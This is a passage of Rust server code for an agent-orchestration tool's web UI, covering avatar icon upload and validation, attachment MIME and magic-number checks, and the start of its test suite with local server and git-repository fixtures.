9978            match std::fs::remove_file(path) {
9979                Ok(()) => (),
9980                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9981                Err(e) => return Err(anyhow::Error::from(e).into()),
9982            }
9983        }
9984        Ok(Json(serde_json::json!({"saved":true})))
9985    })
9986    .await
9987}
9988
9989// The global MAGI icon is deliberately independent of repository configuration.
9990fn magi_icon_path(home: &FsPath) -> PathBuf {
9991    home.join("magi-icon.data")
9992}
9993
9994fn read_magi_icon(home: &FsPath) -> Option<String> {
9995    read_icon_file(&magi_icon_path(home))
9996}
9997
9998fn read_icon_file(path: &FsPath) -> Option<String> {
9999    let metadata = std::fs::metadata(path).ok()?;
10000    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10001        return None;
10002    }
10003    let file = std::fs::File::open(path).ok()?;
10004    use std::io::Read;
10005    let mut text = String::new();
10006    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10007        .read_to_string(&mut text)
10008        .ok()?;
10009    if text.len() > persona_icon::ICON_MAX_BYTES {
10010        return None;
10011    }
10012    if text == "builtin" {
10013        return Some(text);
10014    }
10015    validate_uploaded_icon(&text).ok()?;
10016    Some(text)
10017}
10018
10019fn magi_icon_url(home: &FsPath) -> String {
10020    format!(
10021        "/avatars/magi?v={}",
10022        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10023    )
10024}
10025
10026async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10027    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10028}
10029
10030#[derive(Deserialize)]
10031struct MagiIconUpload {
10032    icon: String,
10033}
10034
10035fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10036    save_icon_file(&magi_icon_path(home), icon)
10037}
10038
10039fn validate_uploaded_icon(icon: &str) -> Result<()> {
10040    if !icon.starts_with("data:") {
10041        anyhow::bail!("upload a raster image");
10042    }
10043    let (mime, bytes) = persona_icon::load(icon)?;
10044    if sniffed_mime(&bytes) != Some(mime) {
10045        anyhow::bail!("image content does not match its type");
10046    }
10047    Ok(())
10048}
10049
10050fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10051    validate_uploaded_icon(icon)?;
10052    atomic_icon_write(path, icon)
10053}
10054
10055fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10056    let home = path.parent().expect("icon parent");
10057    std::fs::create_dir_all(home)?;
10058    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10059    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10060    let result = (|| -> Result<()> {
10061        use std::io::Write;
10062        let mut file = std::fs::OpenOptions::new()
10063            .write(true)
10064            .create_new(true)
10065            .open(&temp)?;
10066        file.write_all(icon.as_bytes())?;
10067        file.sync_all()?;
10068        std::fs::rename(&temp, path)?;
10069        Ok(())
10070    })();
10071    let _ = std::fs::remove_file(temp);
10072    result?;
10073    Ok(())
10074}
10075
10076async fn magi_icon_put(
10077    State(ui): State<Arc<Ui>>,
10078    Json(upload): Json<MagiIconUpload>,
10079) -> ApiResult<Json<serde_json::Value>> {
10080    blocking(move || {
10081        if !upload.icon.starts_with("data:") {
10082            return Err(ApiError::bad_request("upload a raster image"));
10083        }
10084        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10085        if sniffed_mime(&bytes) != Some(mime) {
10086            return Err(ApiError::bad_request(
10087                "image content does not match its type",
10088            ));
10089        }
10090        save_magi_icon(&ui.home, &upload.icon)?;
10091        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10092    })
10093    .await
10094}
10095
10096async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10097    blocking(move || {
10098        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10099            Ok(()) => (),
10100            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10101            Err(e) => return Err(anyhow::Error::from(e).into()),
10102        }
10103        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10104    })
10105    .await
10106}
10107
10108async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10109    let icon = (q.builtin.is_none())
10110        .then(|| read_magi_icon(&ui.home))
10111        .flatten();
10112    let mut response = match icon
10113        .as_deref()
10114        .and_then(|icon| persona_icon::load(icon).ok())
10115    {
10116        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10117            attachment_response(mime, bytes)
10118        }
10119        _ => svg_avatar(persona_icon::magi_svg()),
10120    };
10121    response
10122        .headers_mut()
10123        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10124    response
10125}
10126
10127/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10128/// operator's raster `icon` when it resolves and its bytes agree with its
10129/// type, the built-in SVG otherwise. Display only; every failure is a warning
10130/// and the built-in avatar, never an error response.
10131async fn talk_avatar(
10132    State(ui): State<Arc<Ui>>,
10133    Path(id): Path<String>,
10134    Query(q): Query<AvatarQuery>,
10135) -> ApiResult<Response> {
10136    blocking(move || {
10137        let id = resolve_talk(&ui.talks, &id)?;
10138        let talk = ui.talks.get(&id)?;
10139        let wanted = q
10140            .persona
10141            .as_deref()
10142            .map(str::trim)
10143            .filter(|p| !p.is_empty())
10144            .unwrap_or(&talk.persona)
10145            .to_owned();
10146        let specs = match Config::discover(&talk.repo, None) {
10147            Ok((cfg, _)) => cfg.talk.personas,
10148            Err(e) => {
10149                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10150                Vec::new()
10151            }
10152        };
10153        let found = persona::find(&specs, &wanted);
10154        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10155        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10156        let icon = effective_persona_icon(
10157            &ui.home,
10158            &wanted,
10159            found.as_ref().and_then(|p| p.icon.as_deref()),
10160        );
10161        if found.is_none() && icon.is_none() {
10162            return Ok(builtin_avatar(persona::DEFAULT_ID));
10163        }
10164        let Some(icon) = icon
10165            .as_deref()
10166            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10167        else {
10168            return Ok(builtin_avatar(&wanted));
10169        };
10170        let Some(found) = found else {
10171            return Ok(raster_or_builtin(
10172                Some(icon),
10173                persona_icon::builtin_svg(&wanted),
10174            ));
10175        };
10176        match persona_icon::load(icon) {
10177            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10178                let mut res = attachment_response(mime, bytes);
10179                res.headers_mut().insert(
10180                    header::CACHE_CONTROL,
10181                    header::HeaderValue::from_static("no-cache"),
10182                );
10183                Ok(res)
10184            }
10185            Ok((mime, _)) => {
10186                tracing::warn!(
10187                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10188                    found.id
10189                );
10190                Ok(builtin_avatar(&found.id))
10191            }
10192            Err(e) => {
10193                tracing::warn!(
10194                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10195                    found.id
10196                );
10197                Ok(builtin_avatar(&found.id))
10198            }
10199        }
10200    })
10201    .await
10202}
10203
10204/// Validate an attachment upload's declared `Content-Type` and the bytes
10205/// themselves, returning the canonical mime on success.
10206///
10207/// Two checks, both required: the header has to name one of
10208/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10209/// simply never in the list, active content rather than a picture, the same
10210/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10211/// magic number has to agree. The second is what stops a mislabeled upload -
10212/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10213/// a declared type is a claim, not a fact, so it is never trusted alone.
10214fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10215    if data.len() > ATTACHMENT_MAX_BYTES {
10216        return Err(ApiError::bad_request(format!(
10217            "attachment is {} bytes, over the {} MiB limit",
10218            data.len(),
10219            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10220        ))
10221        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10222    }
10223    if data.is_empty() {
10224        return Err(ApiError::bad_request("attachment is empty"));
10225    }
10226    let declared = declared_mime(headers)?;
10227    match sniffed_mime(data) {
10228        Some(sniffed) if sniffed == declared => Ok(declared),
10229        Some(sniffed) => Err(ApiError::bad_request(format!(
10230            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10231        ))),
10232        None => Err(ApiError::bad_request(
10233            "the file's bytes do not match any accepted image format",
10234        )),
10235    }
10236}
10237
10238/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10239/// and nothing else - parameters like `; charset=` are stripped, but the
10240/// value itself is not otherwise interpreted.
10241fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10242    let raw = headers
10243        .get(header::CONTENT_TYPE)
10244        .and_then(|v| v.to_str().ok())
10245        .unwrap_or("")
10246        .split(';')
10247        .next()
10248        .unwrap_or("")
10249        .trim()
10250        .to_ascii_lowercase();
10251    ATTACHMENT_MIME_WHITELIST
10252        .iter()
10253        .find(|&&m| m == raw)
10254        .copied()
10255        .ok_or_else(|| {
10256            if raw == "image/svg+xml" {
10257                ApiError::bad_request(
10258                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10259                     not just a picture",
10260                )
10261            } else if raw.is_empty() {
10262                ApiError::bad_request("Content-Type is required for an attachment upload")
10263            } else {
10264                ApiError::bad_request(format!(
10265                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10266                     image/gif or image/webp"
10267                ))
10268            }
10269        })
10270}
10271
10272/// Identify an image by its magic number, independent of whatever
10273/// `Content-Type` claimed.
10274fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10275    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10276        Some("image/png")
10277    } else if data.starts_with(b"\xff\xd8\xff") {
10278        Some("image/jpeg")
10279    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10280        Some("image/gif")
10281    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10282        Some("image/webp")
10283    } else {
10284        None
10285    }
10286}
10287
10288/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10289/// display - see [`talk::Attachment::name`]'s doc on why it never
10290/// contributes to a path. A missing or blank header (curl without it, an
10291/// older front end) falls back to a generic name rather than refusing the
10292/// upload over a field that is cosmetic.
10293fn filename_header(headers: &HeaderMap) -> String {
10294    headers
10295        .get(FILENAME_HEADER)
10296        .and_then(|v| v.to_str().ok())
10297        .map(str::trim)
10298        .filter(|s| !s.is_empty())
10299        .unwrap_or("attachment")
10300        .to_owned()
10301}
10302
10303/// Every attachment `GET` response: the mime re-validated against the same
10304/// closed whitelist the upload route enforces - never the string trusted
10305/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10306/// cannot decide it knows better than the type we send. Unlike a panel asset
10307/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10308/// document renders inline, not agent-authored HTML in a sandboxed frame.
10309fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10310    let content_type = ATTACHMENT_MIME_WHITELIST
10311        .iter()
10312        .find(|&&m| m == mime)
10313        .copied()
10314        .unwrap_or("application/octet-stream");
10315    (
10316        [
10317            (header::CONTENT_TYPE, content_type),
10318            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10319        ],
10320        body,
10321    )
10322        .into_response()
10323}
10324
10325/// The configuration for a repository, read off the disk for this request.
10326///
10327/// Through [`blocking`] because discovery reads and merges several TOML files,
10328/// and because the alternative - caching it in [`Ui`] at startup - would mean
10329/// the operator's phone kept interviewing with a roster they had already
10330/// changed, with no way to reload it but restarting the server they are not
10331/// sitting in front of.
10332async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10333    let repo = repo.to_path_buf();
10334    blocking(move || {
10335        let (cfg, _) = Config::discover(&repo, None)?;
10336        Ok(cfg)
10337    })
10338    .await
10339}
10340
10341/// The one prefix rule, used for both runs and tasks: a leading match for a
10342/// full id, a trailing match for the short form an operator reads off a
10343/// report. Written here rather than borrowed from `queue::resolve_id` because
10344/// the UI needs the two failures as different status codes, and telling them
10345/// apart from an error message is not something to build a route on.
10346fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10347    let mut hits = ids
10348        .into_iter()
10349        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10350    match (hits.next(), hits.next()) {
10351        (Some(one), None) => Ok(one),
10352        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10353        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10354            "`{prefix}` matches more than one {what}, including {a} and {b}"
10355        ))),
10356    }
10357}
10358
10359#[cfg(test)]
10360mod tests {
10361
10362    #[test]
10363    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10364        let dir = tempfile::tempdir().unwrap();
10365        let store = ask::Questions::at(dir.path().join("questions"));
10366        let mut q = Question::new(
10367            "task".to_owned(),
10368            "conduct".to_owned(),
10369            "conduct".to_owned(),
10370            "choose".to_owned(),
10371            String::new(),
10372            vec!["keep".to_owned()],
10373        );
10374        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10375        q.say("why?").unwrap();
10376        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10377        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10378        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10379        store.put(&mut q).unwrap();
10380        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10381        assert_eq!(store.count_needs_owner(), 1);
10382        store.beat(&q.id, ask::WaiterKind::Deputy);
10383        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10384        assert_eq!(store.count_needs_owner(), 0);
10385        let mut stale = store.read_lease(&q.id).unwrap();
10386        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10387        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10388        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10389        assert!(view.deputy_exhausted);
10390        assert!(view.waiting_on_agent);
10391        assert_eq!(view.question.choices, ["keep"]);
10392        store.drop_lease(&q.id);
10393        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10394        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10395    }
10396
10397    #[test]
10398    fn holder_reads_the_lease_not_the_record() {
10399        let mut q = Question::new(
10400            "run".to_owned(),
10401            "implement".to_owned(),
10402            "impl-A".to_owned(),
10403            "which?".to_owned(),
10404            String::new(),
10405            Vec::new(),
10406        );
10407        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10408        q.cwd = Some("/tmp".to_owned());
10409        assert_eq!(holder_of(&q, None), Some("nobody"));
10410        let beat = |kind, ago: i64| ask::Lease {
10411            kind,
10412            pid: 1,
10413            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10414                .unwrap(),
10415        };
10416        let fresh = beat(ask::WaiterKind::Asker, 1);
10417        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10418        let daemon = beat(ask::WaiterKind::Daemon, 1);
10419        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10420        let stale = beat(ask::WaiterKind::Asker, 3600);
10421        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10422
10423        // A conductor question says "deputy" only while one is attached and
10424        // alive, and "nobody" - never silence - when nothing ever listened.
10425        let mut c = Question::new(
10426            "task".to_owned(),
10427            crate::conduct::NODE.to_owned(),
10428            "conduct".to_owned(),
10429            "which?".to_owned(),
10430            String::new(),
10431            Vec::new(),
10432        );
10433        assert_eq!(holder_of(&c, None), Some("nobody"));
10434        c.cwd = Some("/tmp".to_owned());
10435        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10436        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10437        let deputy = beat(ask::WaiterKind::Deputy, 1);
10438        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10439        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10440
10441        // A release-watch question: nobody until a deputy is attached.
10442        let mut r = Question::new(
10443            String::new(),
10444            crate::bump::NOTICE_NODE.to_owned(),
10445            "release-watch".to_owned(),
10446            "stuck?".to_owned(),
10447            String::new(),
10448            vec!["hold".to_owned()],
10449        );
10450        assert_eq!(holder_of(&r, None), Some("nobody"));
10451        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10452        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10453        // A choice-less bump notice is nobody's question at all.
10454        r.deputy = None;
10455        r.seat = "bump".to_owned();
10456        assert_eq!(holder_of(&r, None), None);
10457
10458        // A merge approval is the same: nobody until a deputy is attached
10459        // and alive, never a silent "no holder".
10460        let mut m = Question::new(
10461            "run".to_owned(),
10462            crate::land::APPROVAL_NODE.to_owned(),
10463            "land".to_owned(),
10464            "merge?".to_owned(),
10465            String::new(),
10466            Vec::new(),
10467        );
10468        assert_eq!(holder_of(&m, None), Some("nobody"));
10469        assert_eq!(
10470            holder_of(&m, Some(&fresh)),
10471            Some("asker"),
10472            "a live explicit wait is a listener even before a deputy is attached"
10473        );
10474        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10475        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10476        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10477        assert_eq!(holder_of(&m, None), Some("nobody"));
10478    }
10479
10480    fn stub_config() -> Config {
10481        // An explicit roster, so the result never depends on which agent CLIs
10482        // this machine has installed.
10483        Config {
10484            agents: vec![crate::config::AgentSpec {
10485                id: "stub".to_owned(),
10486                kind: AgentKind::Command,
10487                model: None,
10488                command: vec!["true".to_owned()],
10489                extra_args: Vec::new(),
10490                env: Default::default(),
10491                prompt_delivery: None,
10492                max_turn_secs: None,
10493            }],
10494            ..Config::default()
10495        }
10496    }
10497
10498    fn plain_question(seat: &str) -> Question {
10499        Question::new(
10500            String::new(),
10501            "n".to_owned(),
10502            seat.to_owned(),
10503            "s".to_owned(),
10504            String::new(),
10505            Vec::new(),
10506        )
10507    }
10508
10509    #[test]
10510    fn deputies_enabled_follows_the_config() {
10511        let on = stub_config();
10512        assert!(crate::deputy::can_start(Some(&on), ""));
10513        assert!(crate::deputy::can_start(Some(&on), "stub"));
10514        let mut off = on.clone();
10515        off.daemon.max_deputies = 0;
10516        assert!(!crate::deputy::can_start(Some(&off), ""));
10517        let mut empty = on;
10518        empty.agents.clear();
10519        assert!(!crate::deputy::can_start(Some(&empty), ""));
10520        assert!(!crate::deputy::can_start(None, ""));
10521    }
10522
10523    #[test]
10524    fn question_views_load_the_config_once() {
10525        let dir = TempDir::new().unwrap();
10526        let store = ask::Questions::at(dir.path().to_path_buf());
10527        let mut with_deputy = plain_question("b");
10528        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10529        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10530
10531        let calls = std::cell::Cell::new(0usize);
10532        let views = question_views(qs.clone(), &store, || {
10533            calls.set(calls.get() + 1);
10534            Some(stub_config())
10535        });
10536        assert_eq!(calls.get(), 1);
10537        assert_eq!(views.len(), 3);
10538        for (v, q) in views.iter().zip(&qs) {
10539            assert_eq!(
10540                v.deputies_enabled,
10541                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10542            );
10543        }
10544
10545        let views = question_views(qs, &store, || None);
10546        assert!(views.iter().all(|v| !v.deputies_enabled));
10547
10548        let calls = std::cell::Cell::new(0usize);
10549        let views = question_views(Vec::new(), &store, || {
10550            calls.set(calls.get() + 1);
10551            None
10552        });
10553        assert!(views.is_empty());
10554        assert_eq!(calls.get(), 0);
10555    }
10556
10557    use pretty_assertions::assert_eq;
10558    use serde_json::Value;
10559    use tempfile::TempDir;
10560    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10561
10562    use super::*;
10563    use crate::config::Config;
10564    use crate::queue::Source;
10565
10566    /// How many 10ms steps a settle loop takes before it calls a stall a
10567    /// stall - thirty seconds.
10568    ///
10569    /// These loops wait on real `sh` subprocesses, and the machine that runs
10570    /// the gate runs several suites at once, so a two-second budget was not
10571    /// waiting for the reply, it was racing the scheduler: two of these
10572    /// tests failed under that load with the turn simply not landed yet.
10573    /// This is a hang guard, not a latency assertion - every loop breaks the
10574    /// moment its condition holds, so a generous cap costs an idle machine
10575    /// nothing and still fails a genuine hang instead of hanging the suite.
10576    const SETTLE_STEPS: usize = 3_000;
10577
10578    /// A home with a queue and a runs directory, and a router serving it on
10579    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10580    /// dependency, not ours - so the tests drive a real socket, which has the
10581    /// side benefit of asserting the status line and content types the phone
10582    /// actually receives.
10583    struct Fixture {
10584        home: TempDir,
10585        addr: SocketAddr,
10586    }
10587
10588    impl Fixture {
10589        async fn start() -> Self {
10590            Self::with_loop(launch_idle).await
10591        }
10592
10593        /// A fixture whose loop is `launch`.
10594        async fn with_loop(launch: Launch) -> Self {
10595            let home = TempDir::new().expect("temp home");
10596            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10597            Self { home, addr }
10598        }
10599
10600        /// A fixture whose `ui.repo` is a real directory rather than the
10601        /// usual placeholder - for the routes that read config off it
10602        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10603        async fn with_repo(repo: PathBuf) -> Self {
10604            let home = TempDir::new().expect("temp home");
10605            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10606            Self { home, addr }
10607        }
10608
10609        /// As [`Fixture::with_repo`], with the machine-config file the
10610        /// settings screen reads and writes.
10611        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10612            let home = TempDir::new().expect("temp home");
10613            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10614            Self { home, addr }
10615        }
10616
10617        async fn serve(
10618            home: &FsPath,
10619            repo: PathBuf,
10620            launch: Launch,
10621            machine: Option<PathBuf>,
10622        ) -> SocketAddr {
10623            let queue = Queue::at(home.join("queue"));
10624            let runs = home.join("runs");
10625            std::fs::create_dir_all(&runs).expect("runs dir");
10626            let worktrees = home.join("wt").join("magi");
10627            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10628            let ui = Ui::new(
10629                queue,
10630                Questions::at(home.join("questions")),
10631                Talks::at(home.join("talks")),
10632                runs,
10633                home.to_path_buf(),
10634                repo,
10635            )
10636            .with_worktrees_root(worktrees)
10637            .with_machine_config(machine)
10638            .with_launch(launch);
10639            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10640                .await
10641                .expect("bind loopback");
10642            let addr = listener.local_addr().expect("local addr");
10643            tokio::spawn(async move {
10644                let router = ui
10645                    .router()
10646                    .layer(axum::middleware::from_fn(request_cost::observe));
10647                let _ = axum::serve(listener, router).await;
10648            });
10649            addr
10650        }
10651
10652        fn queue(&self) -> Queue {
10653            Queue::at(self.home.path().join("queue"))
10654        }
10655
10656        fn questions(&self) -> Questions {
10657            Questions::at(self.home.path().join("questions"))
10658        }
10659
10660        fn talks(&self) -> Talks {
10661            Talks::at(self.home.path().join("talks"))
10662        }
10663
10664        fn runs(&self) -> PathBuf {
10665            self.home.path().join("runs")
10666        }
10667
10668        async fn get(&self, path: &str) -> Res {
10669            request(self.addr, "GET", path, None).await
10670        }
10671
10672        /// The status and headers without the body, which is how the front end
10673        /// preflights a panel: a sandboxed frame is opaque to the parent
10674        /// document, so the only way to tell "no panel" from "a panel that
10675        /// rendered blank" is to ask before mounting.
10676        async fn head(&self, path: &str) -> Res {
10677            request(self.addr, "HEAD", path, None).await
10678        }
10679
10680        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10681            request(self.addr, "POST", path, body).await
10682        }
10683
10684        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10685            request_with(self.addr, "GET", path, None, extra).await
10686        }
10687
10688        async fn delete(&self, path: &str) -> Res {
10689            request(self.addr, "DELETE", path, None).await
10690        }
10691
10692        async fn put(&self, path: &str, body: &str) -> Res {
10693            request(self.addr, "PUT", path, Some(body)).await
10694        }
10695
10696        /// `POST` a raw body with its own headers - see [`request_bytes`].
10697        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10698            request_bytes(self.addr, path, headers, body).await
10699        }
10700    }
10701
10702    /// Real tracking refs exercise the successful discovery path (including
10703    /// extraction), rather than counting cheap failures on a placeholder repo.
10704    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10705        let tmp = TempDir::new().unwrap();
10706        let mut repos = Vec::new();
10707        for name in ["one", "two"] {
10708            let repo = tmp.path().join(name);
10709            let origin = tmp.path().join(format!("{name}.git"));
10710            std::fs::create_dir_all(&repo).unwrap();
10711            crate::git::git(&repo, &["init", "-b", "main"])
10712                .await
10713                .unwrap();
10714            std::fs::write(
10715                repo.join("magi.toml"),
10716                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10717            )
10718            .unwrap();
10719            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10720            crate::git::git(
10721                &repo,
10722                &[
10723                    "-c",
10724                    "user.name=fixture",
10725                    "-c",
10726                    "user.email=fixture@example.invalid",
10727                    "commit",
10728                    "-m",
10729                    "fixture",
10730                ],
10731            )
10732            .await
10733            .unwrap();
10734            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10735                .await
10736                .unwrap();
10737            crate::git::git(
10738                &repo,
10739                &["remote", "add", "origin", origin.to_str().unwrap()],
10740            )
10741            .await
10742            .unwrap();
10743            crate::git::git(&repo, &["push", "origin", "main"])
10744                .await
10745                .unwrap();
10746            crate::git::git(
10747                &repo,
10748                &[
10749                    "symbolic-ref",
10750                    "refs/remotes/origin/HEAD",
10751                    "refs/remotes/origin/main",
10752                ],
10753            )
10754            .await
10755            .unwrap();
10756            let (cfg, _) = Config::discover(&repo, None).unwrap();
10757            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10758            repos.push(repo);
10759        }
10760        let repos: [PathBuf; 2] = repos.try_into().unwrap();
10761        (tmp, repos)
10762    }
10763
10764    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10765        let (tmp, repos) = performance_repositories().await;
10766        let machine = tmp.path().join("machine.toml");
10767        std::fs::write(&machine, "").unwrap();
10768        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10769        (tmp, repos, fx)
10770    }
10771
10772    fn seed_performance(
10773        fx: &Fixture,
10774        repos: &[PathBuf; 2],
10775        questions: usize,
10776        runs: usize,
10777        items: usize,
10778    ) {
10779        // Saving states directly never starts a run or changes MAGI_HOME.
10780        for i in fx.questions().list().len()..questions {
10781            let mut question = Question::new(
10782                "20261001-000000-0000".into(),
10783                "implement".into(),
10784                "impl-A".into(),
10785                format!("question {i}"),
10786                "context".into(),
10787                vec!["yes".into(), "no".into()],
10788            );
10789            question.id = format!("20261003-000000-{i:04x}");
10790            fx.questions().put(&mut question).unwrap();
10791        }
10792        for i in run_ids(&fx.runs()).len()..runs {
10793            write_run_repo(
10794                &fx.runs(),
10795                &format!("20261001-000000-{i:04x}"),
10796                RunStatus::Ready,
10797                repos[i % 2].to_str().unwrap(),
10798            );
10799        }
10800        for i in fx.talks().list().len()..items {
10801            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10802            let mut talk = fx.talks().get(&id).unwrap();
10803            talk.repo = repos[i % 2].clone();
10804            fx.talks().put(&mut talk).unwrap();
10805            let mut task = crate::queue::Task::new(
10806                format!("task {i}"),
10807                "instruction".into(),
10808                repos[i % 2].clone(),
10809                crate::queue::Source::Agent {
10810                    run: id,
10811                    node: crate::queue::CHAT_NODE.into(),
10812                },
10813            );
10814            task.id = format!("20261004-000000-{i:04x}");
10815            fx.queue().put(&mut task).unwrap();
10816            // Notices has a production retention cap; seed up to that cap.
10817            if i < crate::notices::CAP {
10818                Notices::at(fx.home.path().join("notifications"))
10819                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
10820                    .unwrap();
10821            }
10822        }
10823        assert_eq!(fx.questions().list().len(), questions);
10824        assert_eq!(run_ids(&fx.runs()).len(), runs);
10825        assert_eq!(fx.talks().list().len(), items);
10826        assert_eq!(fx.queue().list().len(), items);
10827        assert_eq!(
10828            Notices::at(fx.home.path().join("notifications"))
10829                .list()
10830                .len(),
10831            items.min(crate::notices::CAP)
10832        );
10833    }
10834
10835    fn request_counts(res: &Res) -> (usize, usize) {
10836        assert_eq!(res.status, 200, "{}", res.body);
10837        (
10838            res.header("x-test-discoveries").unwrap().parse().unwrap(),
10839            res.header("x-test-git").unwrap().parse().unwrap(),
10840        )
10841    }
10842
10843    #[tokio::test]
10844    async fn list_request_cost_is_independent_of_record_count() {
10845        let (_tmp, repos, fx) = performance_fixture().await;
10846        let mut previous = None;
10847        for n in [4, 60] {
10848            seed_performance(&fx, &repos, n, n, n);
10849            let mut costs = Vec::new();
10850            for (path, discoveries) in [
10851                ("/api/questions", 1),
10852                ("/api/talks", 2),
10853                ("/api/health", 1),
10854                ("/api/stats", 1),
10855            ] {
10856                // Equal cold extraction caches at both scales; this also
10857                // bounds first-request cost instead of only warmed requests.
10858                for repo in &repos {
10859                    let cache = repo.join(".git/magi/config");
10860                    if cache.exists() {
10861                        std::fs::remove_dir_all(cache).unwrap();
10862                    }
10863                }
